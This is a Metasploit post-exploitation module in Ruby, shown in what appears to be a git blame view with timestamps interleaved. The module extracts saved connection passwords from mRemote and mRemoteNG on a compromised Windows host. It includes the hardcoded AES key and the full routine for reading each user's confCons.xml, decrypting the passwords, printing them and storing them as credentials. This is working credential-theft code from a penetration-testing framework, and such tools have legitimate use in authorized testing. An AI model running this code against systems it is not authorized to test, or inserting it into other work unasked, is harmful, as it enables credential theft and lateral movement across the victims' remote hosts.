2011-06-06 22:54:31 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-06-06 22:54:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/auxiliary/report'
|
2011-06-06 22:54:31 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
2014-08-12 23:01:42 +00:00
|
|
|
include Msf::Post::File
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather mRemote Saved Password Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module extracts saved passwords from mRemote. mRemote stores
|
|
|
|
connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves
|
|
|
|
the passwords in an encrypted format. The module will extract the connection
|
|
|
|
info and decrypt the saved passwords.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'theLightCosine',
|
|
|
|
'hdm', #Helped write the Decryption Routine
|
|
|
|
'mubix' #Helped write the Decryption Routine
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
@secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
|
|
|
|
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
next if user['LocalAppData'] == nil
|
2014-05-29 20:43:02 +00:00
|
|
|
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
|
|
|
|
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
|
2013-08-30 21:28:54 +00:00
|
|
|
get_xml(tmpath)
|
2014-05-29 20:43:02 +00:00
|
|
|
get_xml(ng_path)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_xml(path)
|
2014-08-12 23:01:42 +00:00
|
|
|
print_status("Looking for #{path}")
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
2014-08-12 23:01:42 +00:00
|
|
|
if file_exist?(path)
|
|
|
|
condata = read_file(path)
|
|
|
|
parse_xml(condata)
|
|
|
|
print_status("Finished processing #{path}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-05-29 21:05:16 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("The file #{path} either could not be read or does not exist")
|
2014-08-12 23:01:42 +00:00
|
|
|
return
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_xml(data)
|
|
|
|
|
|
|
|
mxml= REXML::Document.new(data).root
|
|
|
|
mxml.elements.to_a("//Node").each do |node|
|
|
|
|
|
|
|
|
host = node.attributes['Hostname']
|
|
|
|
port = node.attributes['Port']
|
|
|
|
proto = node.attributes['Protocol']
|
|
|
|
user = node.attributes['Username']
|
|
|
|
domain = node.attributes['Domain']
|
|
|
|
epassword= node.attributes['Password']
|
2014-08-12 23:01:42 +00:00
|
|
|
next if epassword == nil || epassword == ""
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
decoded = epassword.unpack("m*")[0]
|
2014-08-12 23:01:42 +00:00
|
|
|
iv = decoded.slice!(0,16)
|
|
|
|
pass = decrypt(decoded, @secret , iv, "AES-128-CBC")
|
2013-08-30 21:28:54 +00:00
|
|
|
print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
|
2014-05-29 21:27:41 +00:00
|
|
|
|
|
|
|
service_data = {
|
|
|
|
address: host,
|
|
|
|
port: port,
|
|
|
|
service_name: proto,
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :session,
|
|
|
|
session_id: session_db_id,
|
|
|
|
post_reference_name: self.refname,
|
|
|
|
private_type: :password,
|
|
|
|
private_data: pass,
|
|
|
|
username: user
|
|
|
|
}
|
|
|
|
|
2014-08-12 23:01:42 +00:00
|
|
|
if domain.present?
|
2014-07-10 19:30:25 +00:00
|
|
|
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
2014-05-29 21:27:41 +00:00
|
|
|
credential_data[:realm_value] = domain
|
|
|
|
end
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
|
|
|
# Create the Metasploit::Credential::Core object
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
|
|
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
2014-08-12 23:01:42 +00:00
|
|
|
login_data = {
|
2014-05-29 21:27:41 +00:00
|
|
|
core: credential_core,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-05-29 21:27:41 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
# Merge in the service data and create our Login
|
|
|
|
login_data.merge!(service_data)
|
2014-08-12 23:01:42 +00:00
|
|
|
create_credential_login(login_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def decrypt(encrypted_data, key, iv, cipher_type)
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
|
|
|
aes.decrypt
|
|
|
|
aes.key = key
|
|
|
|
aes.iv = iv if iv != nil
|
|
|
|
aes.update(encrypted_data) + aes.final
|
|
|
|
end
|
2011-06-06 22:54:31 +00:00
|
|
|
|
|
|
|
end
|